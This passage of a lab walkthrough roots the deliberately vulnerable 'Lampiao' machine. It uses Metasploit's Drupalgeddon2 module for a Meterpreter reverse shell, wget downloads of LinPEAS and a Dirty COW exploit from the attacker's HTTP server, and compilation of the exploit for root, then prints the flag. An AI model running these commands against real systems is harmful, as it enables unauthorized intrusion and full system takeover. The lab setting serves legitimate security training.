5 \_ target: Drupal 7.x (PHP In-Memory) . . . .
6 \_ target: Drupal 7.x (PHP Dropper) . . . .
7 \_ target: Drupal 7.x (Unix In-Memory) . . . .
8 \_ target: Drupal 7.x (Linux Dropper) . . . .
9 \_ target: Drupal 8.x (PHP In-Memory) . . . .
10 \_ target: Drupal 8.x (PHP Dropper) . . . .
11 \_ target: Drupal 8.x (Unix In-Memory) . . . .
12 \_ target: Drupal 8.x (Linux Dropper) . . . .
13 \_ AKA: SA-CORE-2018-002 . . . .
14 \_ AKA: Drupalgeddon 2 . . . .
Interact with a module by name or index. For example info 14, use 14 or use exploit/unix/webapp/drupal_drupalgeddon2
msf6 >
Let’s select the first module from the
search results using the use command.
msf6 >
use 1
[*] Additionally setting
TARGET => Automatic (PHP In-Memory)
[*] No payload configured, defaulting to
php/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/drupal_drupalgeddon2) >
Now, it’s time to know the required and
optional parameters for the selected exploit using the options command.
msf6 exploit(unix/webapp/drupal_drupalgeddon2) >
options
Module options (exploit/unix/webapp/drupal_drupalgeddon2):
Name Current Setting Required Description
---- --------------- -------- -----------
DUMP_OUTPUT false no Dump payload command output
PHP_FUNC passthru yes PHP function to execute
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-meta
sploit.html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Path to Drupal install
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.0.2.15 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic (PHP In-Memory)
View the full module info with the info, or info -d command.
msf6 exploit(unix/webapp/drupal_drupalgeddon2) >
The Key options include:
-
RHOSTS (the target
host),
-
RPORT (the target port),
-
TARGETURI (the path to the Drupal install), and
-
LHOST (the local host for the reverse connection).
Now, let’s configure the
target host IP
address (
192.168.95.21
)
, and set the target port to
1898
,
which is where the vulnerable Drupal instance is running.
msf6 exploit(unix/webapp/drupal_drupalgeddon2) >
set RHOSTS 192.168.95.21
RHOSTS => 192.168.95.21
msf6 exploit(unix/webapp/drupal_drupalgeddon2) >
set RPORT 1898
RPORT => 1898
msf6 exploit(unix/webapp/drupal_drupalgeddon2) >
set LHOST 192.168.95.3
LHOST => 192.168.95.3
msf6 exploit(unix/webapp/drupal_drupalgeddon2) >
Now, we will set the local IP address where
the Metasploit instance will listen for the reverse connection.
If you don’t
know your Local IP address, then use the ifconfig command.
Now, let’s attempt to run the exploit to
gain a foothold on the target system, which will lead to further escalation. Now, run the exploit command.
msf6 exploit(unix/webapp/drupal_drupalgeddon2) >
exploit
[*] Started reverse TCP handler on 192.168.95.3:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Sending stage (39927 bytes) to 192.168.95.21
[*] Meterpreter session 1 opened (192.168.95.3:4444 -> 192.168.95.21:55260) at 2024-05-25 09:08:46 +0530
meterpreter >
After running
the
exploit
command, the Metasploit Framework automatically checked the target
system and confirmed it was vulnerable. The exploit was successful, and the
payload was executed, establishing a Meterpreter session. This means we now have remote control over the target system through the Meterpreter shell.
Next, we need to switch from the Meterpreter session to a standard shell session. This allows us to execute system commands directly. However, the shell did not provide an
interactive command line interface.
meterpreter >
shell
Process 1236 created.
Channel 0 created.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
To verify this, I ran a command to check
the current user ID. This confirmed that the shell operates under the
www-data
user account, which is a low-privilege account typically used by web servers.
Let’s upgrade the shell to make it more
interactive. We’ll use Python to spawn an interactive Bash shell. First, check
which Python version is available on the target system by running, which
Python.
Then, use Python to start a new Bash shell
with the following command. This command provides a more stable and functional
shell environment.
python -c "import pty;pty.spawn('/bin/bash')"
www-data@lampiao:/var/www/html$
Next, we need to locate the user flag.
Begin by navigating to the home directory and listing its contents.
www-data@lampiao:/var/www/html$
cd /home
cd /home
www-data@lampiao:/home$
ls
ls
tiago
www-data@lampiao:/home$
In the home directory, I found a directory
named
tiago
. This directory appears to belong to the user
tiago
. Change into this directory.
www-data@lampiao:/home$
cd tiago
cd tiago
www-data@lampiao:/home/tiago$
ls -al
ls -al
total 36
drwxr-xr-x 4 tiago tiago 4096 Apr 20 2018 .
drwxr-xr-x 3 root root 4096 Apr 19 2018 ..
drwx------ 2 tiago tiago 4096 Apr 19 2018 .aptitude
-rw------- 1 tiago tiago 25 Apr 20 2018 .bash_history
-rw-r--r-- 1 tiago tiago 220 Apr 19 2018 .bash_logout
-rw-r--r-- 1 tiago tiago 3637 Apr 19 2018 .bashrc
drwx------ 2 tiago tiago 4096 Apr 19 2018 .cache
-rw-r--r-- 1 tiago tiago 675 Apr 19 2018 .profile
-rw------- 1 root root 577 Apr 19 2018 .viminfo
www-data@lampiao:/home/tiago$
However, I couldn’t find the user flag
here. It’s possible that the root flag might be located in the root directory.
Attempting to navigate to the root directory.
www-data@lampiao:/home/tiago$
cd /root
cd /root
bash: cd: /root: Permission denied
www-data@lampiao:/home/tiago$
I encountered a "
Permission
denied
" error, indicating that the current user does not have sufficient
privileges to access this directory.
The next step is to identify any files or
directories that might contain useful information for privilege escalation.
Privilege Escalation.
During the privilege escalation process,
our primary goal is to gather system information and identify any
vulnerabilities or misconfigurations that could provide elevated privileges,
ultimately allowing us to gain root access.
Previously, we found that we do not have
sufficient user permissions to perform user permission enumeration to
understand the user's rights and privileges on the system.
Escalate the Privileges using LinPEAS
To proceed with privilege escalation
directly from our current position, we can use a tool like
LinPEAS.
LinPEAS is
a script that helps automate the process of identifying potential weaknesses in
the system that could be exploited for privilege escalation.
First, we have to send it to the target system. To proceed, we need the LinPEAS script, which can be downloaded from GitHub.
Next,
we need to transfer the LinPEAS script to the target system. To do this, we can
set up a simple HTTP server on our machine to serve the script.
Use Python to create an HTTP server to host
the LinPEAS script. Run the following command in the directory where the
LinPEAS script is located.
This will start an HTTP server on
port 8000
. Ensure
this port is accessible from the target system.
┌──(kali㉿kali)-[~/Downloads]
└─$
python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Once the HTTP server is hosted, on the target
shell, Change the directory to
/tmp
.
www-data@lampiao:/home/tiago$
cd /tmp
cd /tmp
www-data@lampiao:/tmp$
To download the linpeas.sh
file, we will use the
wget
command.
www-data@lampiao:/tmp$
wget http://192.168.95.3:8000/linpeas.sh
wget http://192.168.95.3:8000/linpeas.sh
--2024-05-25 00:41:55-- http://192.168.95.3:8000/linpeas.sh
Connecting to 192.168.95.3:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 862779 (843K) [text/x-sh]
Saving to: 'linpeas.sh'
100%[======================================>] 862,779 --.-K/s in 0.004s
2024-05-25 00:41:55 (202 MB/s) - 'linpeas.sh' saved [862779/862779]
www-data@lampiao:/tmp$
First, list all files and directories to
verify whether
linpeas.sh
has execution permissions. It does not, so, we will
need to modify the permissions. To make linpeas.sh executable, use the chmod
command.
www-data@lampiao:/tmp$
ls -al
ls -al
total 852
drwxrwxrwt 2 root root 4096 May 25 00:41 .
drwxr-xr-x 21 root root 4096 Apr 19 2018 ..
-rw-r--r-- 1 www-data www-data 862779 May 21 18:00 linpeas.sh
www-data@lampiao:/tmp$
chmod +x linpeas.sh
chmod +x linpeas.sh
www-data@lampiao:/tmp$
Next, run
linpeas.sh
to perform a comprehensive scan of the system for privilege escalation
opportunities.
www-data@lampiao:/tmp$
./linpeas.sh
./linpeas.sh
▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄
▄▄▄▄ ▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄
▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄ ▄▄▄▄▄▄ ▄
▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄
▄▄ ▄▄▄ ▄▄▄▄▄ ▄▄▄
▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄
▄ ▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄
▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄
▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄▄ ▄▄▄▄
▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄ ▄ ▄▄
▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄
▄▄▄▄▄▄ ▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄ ▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▀▀▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▀▀▀▀▀▀
▀▀▀▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▀▀
▀▀▀▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▀▀▀
/---------------------------------------------------------------------------------\
| Do you like PEASS? |
|---------------------------------------------------------------------------------|
| Follow on Twitter : @hacktricks_live |
| Respect on HTB : SirBroccoli |
|---------------------------------------------------------------------------------|
| Thank you! |
\---------------------------------------------------------------------------------/
linpeas-ng by github.com/PEASS-ng
ADVISORY: This script should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own computers and/or with the computer owner's permission.
The script will examine various aspects of the system, including
misconfigurations, outdated or vulnerable software versions, and other security
weaknesses that could be exploited to gain higher privileges:
Local Privilege Escalation (CVE-2016-5195_dirtycow 2)
After analyzing the output, I discovered
that the target system is vulnerable to a
Local Privilege Escalation (LPE)
attack. Among various scripts tested, I identified a suitable vulnerability to
exploit:
CVE-2016-5195
, also known as the "
Dirty COW
" vulnerability.
[+] [CVE-2016-5195] dirtycow 2
Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
Exposure: highly probable
Tags: debian=7|8,RHEL=5|6|7,[ ubuntu=14.04|12.04 ],ubuntu=10.04{kernel:2.6.32-21-generic},ubuntu=16.04{kernel:4.4.0-21-generic}
Download URL: https://www.exploit-db.com/download/40839
ext-url: https://www.exploit-db.com/download/40847
Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh
Let me download the script. Which
downloaded a
C++ script.
To download the exploit file, we will use the
wget
command.
www-data@lampiao:/tmp$
wget http://192.168.95.3:8000/40847.cpp
wget http://192.168.95.3:8000/40847.cpp
--2024-05-25 00:45:51-- http://192.168.95.3:8000/40847.cpp
Connecting to 192.168.95.3:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10531 (10K) [text/x-c++src]
Saving to: '40847.cpp'
100%[======================================>] 10,531 --.-K/s in 0s
2024-05-25 00:45:51 (250 MB/s) - '40847.cpp' saved [10531/10531]
www-data@lampiao:/tmp$
Next, compile the downloaded
C++ script.
Use the following
g++
command to compile the script. This command will create an executable file.
www-data@lampiao:/tmp$
ls -al
ls -al
total 868
drwxrwxrwt 3 root root 4096 May 25 00:45 .
drwxr-xr-x 21 root root 4096 Apr 19 2018 ..
-rw-r--r-- 1 www-data www-data 10531 May 25 00:44 40847.cpp
-rwxr-xr-x 1 www-data www-data 862779 May 21 18:00 linpeas.sh
drwx------ 2 www-data www-data 4096 May 25 00:43 tmux-33
www-data@lampiao:/tmp$
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
<-Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
www-data@lampiao:/tmp$
Run the compiled exploit to attempt
privilege escalation:
www-data@lampiao:/tmp$
ls -al
ls -al
total 908
drwxrwxrwt 3 root root 4096 May 25 00:46 .
drwxr-xr-x 21 root root 4096 Apr 19 2018 ..
-rw-r--r-- 1 www-data www-data 10531 May 25 00:44 40847.cpp
-rwxr-xr-x 1 www-data www-data 40168 May 25 00:46 dcow
-rwxr-xr-x 1 www-data www-data 862779 May 21 18:00 linpeas.sh
drwx------ 2 www-data www-data 4096 May 25 00:43 tmux-33
www-data@lampiao:/tmp$
./dcow -s
./dcow -s
Running ...
Password overridden to: dirtyCowFun
Received su prompt (Password: )
root@lampiao:~# echo 0 > /proc/sys/vm/dirty_writeback_centisecs
root@lampiao:~# cp /tmp/.ssh_bak /etc/passwd
root@lampiao:~# rm /tmp/.ssh_bak
root@lampiao:~#
Upon execution, we obtained a root shell,
which I confirmed using the
whoami
command. Since we have a root shell, let’s
change the directory to the root and check if we can find the root flag.
root@lampiao:~#
whoami
whoami
root
root@lampiao:~#
cd /root
cd /root
root@lampiao:~#
ls -al
ls -al
total 40
drwx------ 4 root root 4096 Apr 20 2018 .
drwxr-xr-x 21 root root 4096 Apr 19 2018 ..
drwx------ 2 root root 4096 Apr 19 2018 .aptitude
-rw------- 1 root root 201 Apr 20 2018 .bash_history
-rw-r--r-- 1 root root 3106 Feb 19 2014 .bashrc
drwx------ 2 root root 4096 Apr 20 2018 .cache
-rw-r--r-- 1 root root 33 Apr 20 2018 flag.txt
-rw------- 1 root root 149 Apr 19 2018 .mysql_history
-rw-r--r-- 1 root root 140 Feb 19 2014 .profile
-rw------- 1 root root 669 Apr 20 2018 .viminfo
root@lampiao:~#
cat flag.txt
cat flag.txt
9740616875908d91ddcdaa8aea3af366
root@lampiao:~#
Finally, we now have the root flag, that concludes all the tutorial.